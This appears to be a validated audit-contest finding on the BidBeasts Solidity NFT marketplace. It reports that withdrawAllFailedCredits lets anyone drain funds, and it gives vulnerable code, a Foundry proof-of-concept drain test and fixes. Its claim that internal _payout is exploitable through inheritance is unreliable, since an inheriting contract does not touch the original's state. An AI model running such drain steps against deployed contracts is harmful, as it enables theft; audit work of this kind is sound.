Bid Beasts

First Flight #49
Beginner FriendlyFoundrySolidityNFT
100 EXP
View results
Submission Details
Severity: high
Valid

`BidBeastsNFTMarketPlace::_payout` and `BidBeastsNFTMarketPlace::withdrawAllFailedCredits` Lack Proper Access Controls, Enabling Complete Fund Drainage

[H01] - BidBeastsNFTMarketPlace::_payout and BidBeastsNFTMarketPlace::withdrawAllFailedCredits Lack Proper Access Controls, Enabling Complete Fund Drainage

Description

Normal Behavior

The internal BidBeastsNFTMarketPlace::_payout function handles ETH transfers during marketplace operations. When a transfer fails (e.g., recipient contract lacks a receive() or fallback() function), the failed amount is credited to failedTransferCredits[recipient]. Users can subsequently withdraw these failed credits using the external function BidBeastsNFTMarketPlace::withdrawAllFailedCredits.

The vulnerability consists of two critical flaws that compound to create a complete fund drainage exploit:

1: Inheritance-Based Credit Generation

The _payout function is marked internal rather than private, allowing malicious contracts to inherit BidBeastsNFTMarketPlace and expose the function publicly. An attacker can:

  1. Deploy a contract that inherits the marketplace

  2. Expose _payout through a public wrapper function

  3. Call it with a rejecter contract (no receive/fallback functions) as the recipient

  4. Artificially generate failed credits without participating in legitimate auctions

2: Parameter Mismatch and Missing Balance Clearing

The withdrawAllFailedCredits function contains a critical implementation error:

function withdrawAllFailedCredits(address _receiver) external {
uint256 amount = failedTransferCredits[_receiver];
require(amount > 0, "No credits to withdraw");
failedTransferCredits[msg.sender] = 0;
(bool success, ) = payable(msg.sender).call{value: amount}("");
require(success, "Withdraw failed");
}

This implementation allows:

  • Unauthorised Access: Anyone can withdraw credits belonging to any address by passing that address as _receiver

  • Infinite Withdrawal: The _receiver's balance is never cleared (only msg.sender is cleared), allowing attackers to repeatedly call withdrawAllFailedCredits(_receiver) to drain all contract funds

Vulnerable Code

function _payout(address recipient, uint256 amount) internal {
if (amount == 0) return;
(bool success, ) = payable(recipient).call{value: amount}("");
if (!success) {
failedTransferCredits[recipient] += amount;
}
}
function withdrawAllFailedCredits(address _receiver) external {
uint256 amount = failedTransferCredits[_receiver];
require(amount > 0, "No credits to withdraw");
failedTransferCredits[msg.sender] = 0;
(bool success, ) = payable(msg.sender).call{value: amount}("");
require(success, "Withdraw failed");
}

Risk

Likelihood: HIGH

Reason 1 - Trivial to Execute:
The attack requires only basic Solidity knowledge and can be executed with a simple malicious contract deployment. No complex preconditions or timing requirements are necessary.

Reason 2 - Always Exploitable:
The vulnerability exists from the moment the contract is deployed. Attackers can scan the blockchain for this contract pattern and execute the attack at any time, regardless of marketplace activity. The attacker has complete control over timing and amounts.

Reason 3 - Public Attack Surface:
Both the inheritance mechanism and the withdrawAllFailedCredits() function are externally accessible with no access controls, making this vulnerability immediately exploitable by any adversary.

Impact: CRITICAL

Impact 1 - Complete Fund Loss:
This vulnerability guarantees attackers can drain 100% of the contract's ETH balance through the following mechanisms:

  1. Attackers can create arbitrary failed credits at will through inheritance

  2. No legitimate auction activity is required (assuming funds exist in the contract)

  3. The infinite withdrawal bug enables complete drainage through repeated calls

  4. All bidder deposits, pending seller payments, and protocol fees can be stolen

Impact 2 - Protocol Destruction:
Beyond immediate financial losses, this vulnerability would:

  • Destroy all user trust in the marketplace

  • Result in complete loss of business reputation

  • Potentially lead to legal liability for user fund losses

  • Likely cause the protocol to cease operations entirely


Proof of Concept

Attack Flow:

Since _payout is marked internal, it can be inherited and exploited by a malicious contract:

  1. Attacker deploys a contract that inherits BidBeastsNFTMarketPlace

  2. The malicious contract exposes a public function that calls the inherited _payout

  3. Attacker calls this function with a rejecter contract as the recipient

  4. Failed credits accumulate in failedTransferCredits[rejecterContract]

  5. Attacker (using any address) repeatedly calls withdrawAllFailedCredits(rejecterContract) as msg.sender

  6. All contract funds are drained

Test Instructions:

Copy the code below into a new Solidity file called MyBidBeastTests.t.sol in the test folder, then run:

forge test --mp test/MyBidBeastTests.t.sol -vvvv

Test Code:

// SPDX-License-Identifier: MIT
pragma solidity 0.8.20;
import {Test, console} from "forge-std/Test.sol";
import {BidBeastsNFTMarket} from "../src/BidBeastsNFTMarketPlace.sol";
import {BidBeasts} from "../src/BidBeasts_NFT_ERC721.sol";
// Test harness to access the internal function
contract TestBidBeastsMarket is BidBeastsNFTMarket {
constructor(address _BidBeastsNFT) BidBeastsNFTMarket(_BidBeastsNFT) {}
// Expose internal _payout for testing
function exposed_payout(address recipient, uint256 amount) external {
_payout(recipient, amount);
}
// Expose failedTransferCredits getter for testing
function getFailedTransferCredits(address recipient) external view returns (uint256) {
return failedTransferCredits[recipient];
}
}
// Scenario: Contract with NO receive/fallback - should reject ETH
contract NoReceiveFunction {
// Intentionally empty - cannot receive ETH
}
contract MyBidBeastsTest is Test {
// --- State Variables ---
TestBidBeastsMarket market;
BidBeasts nft;
// --- Users ---
address public constant OWNER = address(0x1); // Contract deployer/owner
address public constant SELLER = address(0x2);
address public constant BIDDER_1 = address(0x3);
address public constant BIDDER_2 = address(0x4);
address public constant ATTACKER = address(0x5);
// --- Constants ---
uint256 public constant STARTING_BALANCE = 100 ether;
uint256 public constant TOKEN_ID = 0;
uint256 public constant MIN_PRICE = 1 ether;
uint256 public constant BUY_NOW_PRICE = 5 ether;
function setUp() public {
// Deploy contracts
vm.prank(OWNER);
nft = new BidBeasts();
market = new TestBidBeastsMarket(address(nft));
vm.stopPrank();
// Fund users
vm.deal(SELLER, STARTING_BALANCE);
vm.deal(BIDDER_1, STARTING_BALANCE);
vm.deal(BIDDER_2, STARTING_BALANCE);
vm.deal(ATTACKER, 0);
}
// --- Helper function to list an NFT ---
function _listNFTs() internal {
vm.startPrank(SELLER);
nft.approve(address(market), TOKEN_ID);
market.listNFT(TOKEN_ID, MIN_PRICE, BUY_NOW_PRICE);
vm.stopPrank();
}
// -- Helper function to mint an NFT ---
function _mintNFTs() internal {
vm.startPrank(OWNER);
nft.mint(SELLER);
vm.stopPrank();
}
function test_withdrawFailedCreditMaxUint() public {
NoReceiveFunction noReceive = new NoReceiveFunction();
uint256 _amount = 10000000 ether;
console.log("Attacker Starting Balance: ", address(ATTACKER).balance);
vm.deal(address(market), _amount);
market.exposed_payout(address(noReceive), _amount);
uint256 credits = market.getFailedTransferCredits(address(noReceive));
console.log("Failed Credits Balance: ", credits);
assertEq(credits, _amount, "Failed credits not updated");
vm.prank(ATTACKER);
market.withdrawAllFailedCredits(address(noReceive));
console.log("Attacker Starting Balance: ", address(ATTACKER).balance);
assert(address(ATTACKER).balance > 0);
uint256 creditsAfterTransfer = market.getFailedTransferCredits(address(noReceive));
console.log("Failed Credits Balance After Transfer: ", creditsAfterTransfer);
}
function test_placeBidDrain() public {
_mintNFTs();
_listNFTs();
vm.prank(BIDDER_1);
market.placeBid{value: MIN_PRICE + 1 ether}(TOKEN_ID);
BidBeastsNFTMarket.Bid memory highestBid = market.getHighestBid(TOKEN_ID);
console.log("Highest Bid: ", highestBid.amount);
NoReceiveFunction noReceive = new NoReceiveFunction();
uint256 _amount = highestBid.amount;
console.log("Attacker Starting Balance: ", address(ATTACKER).balance);
vm.deal(address(market), _amount);
market.exposed_payout(address(noReceive), _amount);
uint256 credits = market.getFailedTransferCredits(address(noReceive));
console.log("Failed Credits Balance: ", credits);
assertEq(credits, _amount, "Failed credits not updated");
vm.prank(ATTACKER);
market.withdrawAllFailedCredits(address(noReceive));
console.log("Attacker Starting Balance: ", address(ATTACKER).balance);
assert(address(ATTACKER).balance > 0);
uint256 creditsAfterTransfer = market.getFailedTransferCredits(address(noReceive));
console.log("Failed Credits Balance After Transfer: ", creditsAfterTransfer);
}
}

Recommended Mitigation

1: Prevent Inheritance-Based Exploitation:

Change the _payout function visibility from internal to private to prevent malicious contracts from inheriting and exposing it:

-function _payout(address recipient, uint256 amount) internal {
+function _payout(address recipient, uint256 amount) private {
if (amount == 0) return;
(bool success, ) = payable(recipient).call{value: amount}("");
if (!success) {
failedTransferCredits[recipient] += amount;
}
}

2: Implement Proper Access Control for Withdrawals:

Remove the _receiver parameter and ensure users can only withdraw their own credits. This fixes both the unauthorized access and the infinite withdrawal bugs:

-function withdrawAllFailedCredits(address _receiver) external {
- uint256 amount = failedTransferCredits[_receiver];
+function withdrawAllFailedCredits() external {
+ uint256 amount = failedTransferCredits[msg.sender];
require(amount > 0, "No credits to withdraw");
failedTransferCredits[msg.sender] = 0;
(bool success, ) = payable(msg.sender).call{value: amount}("");
require(success, "Withdraw failed");
}
Updates

Lead Judging Commences

cryptoghost Lead Judge about 1 month ago
Submission Judgement Published
Validated
Assigned finding tags:

BidBeast Marketplace: Unrestricted FailedCredits Withdrawal

withdrawAllFailedCredits allows any user to withdraw another account’s failed transfer credits due to improper use of msg.sender instead of _receiver for balance reset and transfer.

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.